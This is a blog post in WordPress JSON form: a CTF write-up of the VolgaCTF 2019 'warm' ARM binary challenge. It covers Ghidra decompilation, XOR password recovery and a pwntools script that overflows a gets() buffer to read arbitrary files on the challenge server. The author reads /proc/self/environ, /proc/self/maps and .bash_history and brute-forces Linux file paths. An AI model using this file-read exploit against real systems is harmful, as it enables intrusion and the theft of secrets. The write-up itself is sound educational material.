{"id":125,"date":"2019-04-01T16:35:59","date_gmt":"2019-04-01T16:35:59","guid":{"rendered":"http:\/\/robertmccallum.nl\/?p=125"},"modified":"2019-04-01T22:46:03","modified_gmt":"2019-04-01T22:46:03","slug":"arm-reverse-enginering","status":"publish","type":"post","link":"http:\/\/robertmccallum.nl\/index.php\/2019\/04\/01\/arm-reverse-enginering\/","title":{"rendered":"ARM reverse enginering."},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">Write up for  Volga ctf warm challenge.<\/h2>\n\n\n\n<p>Given was a stripped ARM elf binary, a server address and port to connect to.<br>This was my first time reverse engineering something written for a ARM architecture.  I knew that hopper and ghidra can handle arm binaries, but I had to read up a bit on how to set up a testing environment for debugging. <\/p>\n\n\n\n<p>I ended up using Ghidra to reverse engineer, Qemu as emulator and gdb-multiarch to debug.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">the Reverse engineering.<\/h3>\n\n\n\n<p>I load the file up in ghidra and browse though the dissassembled code.<br>while renaming functions and variables. <br><br><\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Main()<\/h4>\n\n\n\n<pre>\nundefined4 mainthing(void)\n\n{\n  int iVar1;\n  int __c;\n  FILE *__stream;\n  byte given_passwd [100]; \n  char filename [100];\n  \n  iVar1 = __stack_chk_guard;\n  setvbuf(stdout,(char *)0x0,2,0);\n  while( true ) {\n    while( true ) {\n      flag_filename_on_stack(filename);\n      puts(\"Hi there! I\\'ve been waiting for your password!\");\n      gets((char *)given_passwd);\n      __c = passwordcheck(given_passwd);\n      if (__c == 0) break;\n      error_handle_thing(1,0);\n    }\n    __stream = fopen(filename,\"rb\");\n    if (__stream != (FILE *)0x0) break;\n    error_handle_thing(2,filename);\n  }\n  while (__c = _IO_getc((_IO_FILE *)__stream), __c != -1) {\n    putchar(__c);\n  }\n  fclose(__stream);\n  if (iVar1 == __stack_chk_guard) {\n    return 0;\n  }\n                    \/* WARNING: Subroutine does not return *\/\n  __stack_chk_fail();\n}\n<\/pre>\n\n\n\n<p>The buffer for the <em>given_passwd<\/em> is 100bytes and the input is fetched using <em>gets<\/em> instead of <em>fgets<\/em> on <em>stdin<\/em> in witch you can set the amount of bytes you want to read.  Resulting  in a classic overflow vulnerability.  But there is a stack canary set and checked and we will overwrite this if we try to overflow into a return pointer.  So lets look a little further down the road.<\/p>\n\n\n\n<p>The password gets passed to <em>passwordcheck() <\/em>and if it returns anything other than 0 will break out of the loop and calls the <em>error_handle_thing()<\/em> function with 1,0 as arguments.<\/p>\n\n\n\n<p>if the <em>passwordcheck<\/em> returns 0 it will try to open the file <em>filename<\/em>, if it can&#8217;t be opened <em>error_handle_thing()&nbsp;<\/em>gets called with 2 and <em>filename&nbsp;as&nbsp;arguments.<\/em><br>otherwise it will write it&#8217;s contents to <em>stdout.<\/em><br><br><\/p>\n\n\n\n<h4 class=\"wp-block-heading\">passwordcheck()<\/h4>\n\n\n\n<pre>undefined4 passwordcheck(byte *passw)\n\n{\n  size_t sVar1;\n  undefined4 uVar2;\n  \n  sVar1 = strlen((char *)passw);\n  if (sVar1 &lt; 0x10) {\n    uVar2 = 1;\n  }\n  else {\n    if (((((*passw == 0x76) &amp;&amp; ((passw[1] ^ *passw) == 0x4e)) &amp;&amp; ((passw[2] ^ passw[1]) == 0x1e)) &amp;&amp;\n        ((((passw[3] ^ passw[2]) == 0x15 &amp;&amp; ((passw[4] ^ passw[3]) == 0x5e)) &amp;&amp;\n         (((passw[5] ^ passw[4]) == 0x1c &amp;&amp;\n          (((passw[6] ^ passw[5]) == 0x21 &amp;&amp; ((passw[7] ^ passw[6]) == 1)))))))) &amp;&amp;\n       (((passw[8] ^ passw[7]) == 0x34 &amp;&amp;\n        ((((((passw[9] ^ passw[8]) == 7 &amp;&amp; ((passw[10] ^ passw[9]) == 0x35)) &amp;&amp;\n           ((passw[0xb] ^ passw[10]) == 0x11)) &amp;&amp;\n          (((passw[0xc] ^ passw[0xb]) == 0x37 &amp;&amp; ((passw[0xd] ^ passw[0xc]) == 0x3c)))) &amp;&amp;\n         (((passw[0xe] ^ passw[0xd]) == 0x72 &amp;&amp; ((passw[0xf] ^ passw[0xe]) == 0x47)))))))) {\n      uVar2 = 0;\n    }\n    else {\n      uVar2 = 2;\n    }\n  }\n  return uVar2;\n}<\/pre>\n\n\n\n<p>This function has one argument (the password)  and 3 return values.<br>if the the argument is smaller than 0x10 it will return 1,<br>if the password matches all these xor conditions it will return 0<br>and if not it will return 2.<\/p>\n\n\n\n<p>So lets have a good look at all these conditions the password have to meet.<br>the first byte has to be 0x76 (&#8216;v&#8217; in ascii) <br>the second byte gets xored with the first one and has to be equal to 0x4e<br>the 3th gets xored with the second and has to equal 0x1e.<br>and so on and so on.. <br>all characters get xored with the previous one and gets checked with a static value. <\/p>\n\n\n\n<p>A^B = C  we have C and xor is reverseable like so A^C = B <br>We know that the first character value is 0x76. <br>so let&#8217;s make a little script to recover the password.<\/p>\n\n\n\n<pre>A = 0x76\nC_list = [0x4e, 0x1e, 0x15, 0x5e, 0x1c, 0x21, 0x01, 0x34, 0x07, 0x35, 0x11, 0x37, 0x3c, 0x72, 0x47]\n\npassword=chr(A)\n\nfor C in C_list:\n    B = A^C\n    A = B\n    password = password+chr(A)\n\nprint(password)<\/pre>\n\n\n\n<p>if we run the script we get the password  <strong>v8&amp;3mqPQebWFqM?x<\/strong><br>note that the function only checks if the length is not smaller than 0x10.<br>So, as long and only the fist 16 charters gets checked.  <br>If we append our recovered password with some more bytes the <em>passwordcheck()<\/em> function will still return 0.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">flag_filename_on_stack()<\/h4>\n\n\n\n<pre>void flag_filename_on_stack(char *pcParm1)\n\n{\n  char *envionflag;\n  undefined4 flag;\n  undefined local_24;\n  undefined4 FLAG;\n  undefined4 _FIL;\n  undefined2 E;\n  int local_14;\n  \n  local_14 = __stack_chk_guard;\n  FLAG = 0x47414c46;\n  _FIL = 0x4c49465f;\n  E = 0x45;\n  envionflag = getenv((char *)&amp;FLAG);\n  flag = 0x67616c66;\n  local_24 = 0;\n  if (envionflag == (char *)0x0) {\n    strcpy(pcParm1,(char *)&amp;flag);\n  }\n  else {\n    strcpy(pcParm1,envionflag);\n  }\n  if (local_14 != __stack_chk_guard) {\n                    \/* WARNING: Subroutine does not return *\/\n    __stack_chk_fail();\n  }\n  return;\n}<\/pre>\n\n\n\n<p>What happens here is that if the environment value <em>FLAG<\/em> is set it will get that and place it on the memory address given as argument.  <br>and if the environment value <em>FLAG<\/em> is not there it will place <em>&#8216;flag&#8217;<\/em> on that memory address. <\/p>\n\n\n\n<h4 class=\"wp-block-heading\">conclusion:<\/h4>\n\n\n\n<p>There is a buffer overflow in <em>passwd<\/em> but, It looks like everything is set up to print the flag if the right password is provided. <\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Dissapointment.<\/h3>\n\n\n\n<p>Having recovered the password I connect to the server using <em>nc<\/em> and send the password hoping to receive a flag.<\/p>\n\n\n\n<p>No such luck. <br>It accepted my recovered password but returned the string:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-style-default is-layout-flow wp-block-quote-is-layout-flow\"><p>Seek file with something more sacred!<\/p><cite><code>nc warm.q.2019.volgactf.ru 443<\/code><\/cite><\/blockquote>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"mce_45\">Exploitation<\/h3>\n\n\n\n<p>We can not overwrite a return pointer without overwriting the stack canary  and making the stack check fail.<br>but if we look at the placement of filename and passwd buffers. we see that  <em>filename<\/em> is placed right after <em>passwd<\/em> on the stack. <\/p>\n\n\n\n<pre>             char[100]         Stack[-0x78]   filename\n             byte[100]         Stack[-0xdc]   given_passwd<\/pre>\n\n\n\n<p>If we would overflow <em>passwd<\/em> we can write into the <em>filename<\/em> that gets printed further down the main fucntion. <\/p>\n\n\n\n<p>Lets do that and make a little script to help us.<\/p>\n\n\n\n<pre>#!\/usr\/bin\/python\n# -*- coding: utf-8 -*-\n#-------------------------------------------------------------------------------\n# CONFIG.\nfrom pwn import *\ncontext.log_level = 'info'\ntarget = \"warm.q.2019.volgactf.ru\"\nport = 443\ntimeout=5\npassword = \"v8&amp;3mqPQebWFqM?x\"\nbuffer= \"A\"*(100-len(password))\n#-------------------------------------------------------------------------------\n# Xploit\nio = remote(target,port)\nwhile 1:\n    try:\n        log.info(io.recvuntil(\"password!\",timeout=timeout))\n        filename = raw_input(\"filename or quit:\")\n        if filename == \"quit\":\n            break\n        io.sendline(password+buffer+filename)\n    except:\n        log.warning(\"connection dropped\")\n        io.close()\n        io = remote(target,port)\n#----------------------------------------------------------------------<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"mce_67\">Frustration.<\/h3>\n\n\n\n<p>The exploit works like a charm.<br>The only problem is that without being able to use wildcards or get a directory listing, there is a lot of guess work involved.<\/p>\n\n\n\n<p>The first thing I did was check for a flag file. It was there, it contained the  string that was printed when we just provide the password without overflowing.<\/p>\n\n\n\n<p>Then I checked en environmet values by taking a look at \/proc\/self\/environ I though maybe they hide a clue there since the <em>flag_filename_on_stack()\u00a0<\/em>checks if the value FLAG is set in environment.  <\/p>\n\n\n\n<p>Also no luck.<\/p>\n\n\n\n<p>After some time trying to find the flag in all sort of places or try to find hints of were the flag might be hiding in places like \/home\/ubuntu\/.bash_history<\/p>\n\n\n\n<p>I decided to pipe a wordlist of linux file paths to stdin of the script en piped the output to a file witch I grep for a flag formatted strings also no results. I grep for base64 endcoded stuff, no luck there as well.<br><\/p>\n\n\n\n<p>Then I scrolled trough 1000&#8217;s of lines of config files and other junk by hand looking for something that could be hiding a flag. <\/p>\n\n\n\n<p>After a lot of frustration I check the code again to see if  I&#8217;ve missed something. look for a way to leak the stack canary.  I can get the base-offset of the bin stack heap and libc by leaking \/proc\/self\/maps <br>but i could not find a way to get around the stack canary and use the ret to libc  method to pop a shell. <\/p>\n\n\n\n<p>At this point sunshineCTF was started, so I left VolgaCTF for what it was.<br><em>(no fun and a heaping pile of s&#8230;.frustration)<\/em><\/p>\n\n\n\n<p>This morning I read in a write-up about this challenge that the flag was in the a file named <em>sacred&nbsp;..&nbsp;&nbsp;<\/em><\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p><em>Seek file with something more sacred!<\/em><\/p><cite>nc warm.q.2019.volgactf.ru 443<\/cite><\/blockquote>\n\n\n\n<p>So yeah, there was a hint in the <em>flag<\/em> file that I did not get, <br>but I think they are <strong>a<\/strong> <strong>bunch of<\/strong>@<strong>$$#*!\u20ac$ !!!!!<br><\/strong><\/p>\n\n\n\n<p>Also; Big props to the NSA for releasing Ghidra to the public. <br>the disassembly is so good, I din&#8217;t even had to look at instruction listing much and the arm architecture guide not even once, even though i&#8217;m not so familiar with the ARM instruction set.<br>America 1 &#8211; Russia 0<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Write up for Volga ctf warm challenge. Given was a stripped ARM elf binary, a server address and port to connect to.This was my first time reverse engineering something written for a ARM architecture. I knew that hopper and ghidra can handle arm binaries, but I had to read up a bit on how to &hellip; <a href=\"http:\/\/robertmccallum.nl\/index.php\/2019\/04\/01\/arm-reverse-enginering\/\" class=\"more-link\">Lees <span class=\"screen-reader-text\">&#8220;ARM reverse enginering.&#8221;<\/span> verder<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,27,3],"tags":[],"class_list":["post-125","post","type-post","status-publish","format-standard","hentry","category-geen-categorie","category-volgactf","category-writeups"],"_links":{"self":[{"href":"http:\/\/robertmccallum.nl\/index.php\/wp-json\/wp\/v2\/posts\/125","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/robertmccallum.nl\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/robertmccallum.nl\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/robertmccallum.nl\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/robertmccallum.nl\/index.php\/wp-json\/wp\/v2\/comments?post=125"}],"version-history":[{"count":13,"href":"http:\/\/robertmccallum.nl\/index.php\/wp-json\/wp\/v2\/posts\/125\/revisions"}],"predecessor-version":[{"id":140,"href":"http:\/\/robertmccallum.nl\/index.php\/wp-json\/wp\/v2\/posts\/125\/revisions\/140"}],"wp:attachment":[{"href":"http:\/\/robertmccallum.nl\/index.php\/wp-json\/wp\/v2\/media?parent=125"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/robertmccallum.nl\/index.php\/wp-json\/wp\/v2\/categories?post=125"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/robertmccallum.nl\/index.php\/wp-json\/wp\/v2\/tags?post=125"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}